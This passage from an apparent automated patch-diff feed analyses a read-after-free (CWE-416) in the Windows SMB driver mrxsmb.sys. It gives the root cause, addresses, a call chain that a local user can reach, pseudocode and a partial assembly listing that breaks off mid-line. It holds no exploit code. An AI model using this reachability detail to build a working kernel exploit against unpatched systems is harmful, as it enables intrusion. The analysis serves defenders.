&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>mrxsmb.sys — Read-after-free of VNetRoot device-object pointer in tree-connect completion (CWE-416) fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxsmb_9b5ecc54-mrxsmb-report-20260629-132319.html" rel="alternate"/><published>2026-06-29T00:00:00-07:00</published><updated>2026-06-29T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-29:/drift-corpus/item/mrxsmb_9b5ecc54-mrxsmb-report-20260629-132319.html</id><summary type="html">&lt;p&gt;KB5094127&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity:&lt;/strong&gt; 0.9909&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 1059 matched, 1 changed, 1058 identical, 0 unmatched (in both directions).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds a feature-gated hardening that caches a device-object pointer read from the VNetRoot context &lt;em&gt;before&lt;/em&gt; that context can be dereferenced (and possibly freed) on the tree-connect error path. The underlying read-after-free (CWE-416) exists in the unpatched build. The delivered fix is gated behind a WIL feature flag and the unsafe live read is retained in the else-branch, so the mitigation is a staged rollout rather than an unconditional fix.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Use-After-Free / read-after-free (CWE-416)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; @ &lt;code&gt;0x1C0019DB8&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
&lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; is the completion handler for an SMB tree-connect (VNetRoot construction) exchange. When the NTSTATUS argument is negative, the error path calls &lt;code&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/code&gt; and then &lt;code&gt;SmbCeDereferenceVNetRootContext(rsi)&lt;/code&gt; at &lt;code&gt;0x1C0019FB3&lt;/code&gt;, where &lt;code&gt;rsi&lt;/code&gt; is the VNetRoot context (arg1). &lt;code&gt;SmbCeDereferenceVNetRootContext&lt;/code&gt; decrements the context's reference count and, on the last reference, tears the object down and frees it. Execution then jumps to the merge point at &lt;code&gt;0x1C0019F03&lt;/code&gt;, shared with the success path. At &lt;code&gt;0x1C0019F2D&lt;/code&gt; the code executes &lt;code&gt;mov rcx, [rsi+18h]&lt;/code&gt;, reading the &lt;code&gt;pMRxDeviceObject&lt;/code&gt; pointer from the VNetRoot context that may already be freed, and passes it as the first argument to &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; at &lt;code&gt;0x1C0019F31&lt;/code&gt;. On the error path this is a read of a potentially freed object (CWE-416).&lt;/p&gt;
&lt;p&gt;The patched build pre-reads &lt;code&gt;[rdi+18h]&lt;/code&gt; into a stack slot at function entry (&lt;code&gt;0x1C0019DF6&lt;/code&gt;), before any dereference, and uses that cached copy at the merge point. This capture is only performed when &lt;code&gt;Feature_1585957178__private_IsEnabledDeviceUsage()&lt;/code&gt; returns nonzero; when the feature is disabled the original live read from &lt;code&gt;[rdi+18h]&lt;/code&gt; is retained at &lt;code&gt;0x1C001A0F2&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachability &amp;amp; Call Chain:&lt;/strong&gt;
1. A local user triggers access to an SMB share over a UNC path (e.g. &lt;code&gt;NtCreateFile("\\server\share")&lt;/code&gt;, &lt;code&gt;net use&lt;/code&gt;).
2. &lt;code&gt;rdbss.sys&lt;/code&gt; dispatches to the mini-redirector callback &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt; (&lt;code&gt;0x1C0017090&lt;/code&gt;), which initiates an SMB tree-connect exchange.
3. On asynchronous exchange completion, &lt;code&gt;Smb2ConstructVNetRoot_Finalize&lt;/code&gt; (&lt;code&gt;0x1C0019D90&lt;/code&gt;) calls &lt;code&gt;SmbCeCompleteVNetRootConstruction(arg1=[rcx+50h], arg2=[rcx+1B8h], arg3=[rcx+8])&lt;/code&gt;, where arg3 is the exchange NTSTATUS.
4. If the exchange completed with a negative NTSTATUS, the error path calls &lt;code&gt;SmbCeDereferenceVNetRootContext(rsi)&lt;/code&gt; at &lt;code&gt;0x1C0019FB3&lt;/code&gt;.
5. Execution reaches the merge point at &lt;code&gt;0x1C0019F03&lt;/code&gt;; the read at &lt;code&gt;0x1C0019F2D&lt;/code&gt; and the &lt;code&gt;RxPostToWorkerThread&lt;/code&gt; call at &lt;code&gt;0x1C0019F31&lt;/code&gt; consume the pointer from the potentially freed context.&lt;/p&gt;
&lt;p&gt;Note: the synchronous call to &lt;code&gt;SmbCeCompleteVNetRootConstruction&lt;/code&gt; from within &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt; at &lt;code&gt;0x1C00174EF&lt;/code&gt; sets &lt;code&gt;r8d = 0&lt;/code&gt; (success status) before the call, so it does not take the error path and does not reach the dereference.&lt;/p&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED SmbCeCompleteVNetRootConstruction (rsi = arg1 = VNetRoot context) ===&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SmbCeCompleteVNetRootConstruction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*exchange*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*status*/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019EBD/EBF: negative NTSTATUS -&amp;gt; error path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x28&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019F98&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1e0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019FA0&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019FAB&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019FB3: may FREE rsi on last ref&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// jmp to merge point&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nl"&gt;Merge_Point&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019F03 (shared success/error)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019F2D: read-after-free on error path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019F31&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED SmbCeCompleteVNetRootConstruction (rdi = arg1 = VNetRoot context) ===&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;SmbCeCompleteVNetRootConstruction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*exchange*/&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/*status*/&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;NULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                     &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019DD3: stack slot zeroed&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019DED&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C0019DF6: capture BEFORE deref&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r14d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0A8&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0B0&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nl"&gt;Merge_Point&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;                                                 &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0B5&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cached&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                   &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0DD: use cached copy&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;Feature_1585957178__private_IsEnabledDeviceUsage&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0CA re-check&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0F2: retained live read&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RxPostToWorkerThread&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;device&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xc8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x110&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// 0x1C001A0F8&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched error path to merge point (&lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F98&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;28&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019FA0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="n"&gt;E0h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VNetRoot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019FA8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019FAB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDecrementActiveVNetRootsOnVNetRootContext&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019FB0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;                              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VNetRoot&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;cont&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019FB3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceVNetRootContext&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;may&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;fre&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;last&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reference&lt;/span&gt;
&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019FB8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;loc_1C0019F03&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;merge&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;point&lt;/span&gt;

&lt;span class="mf"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0019F03&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mf"&gt;110&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Routine&lt;/span&gt;
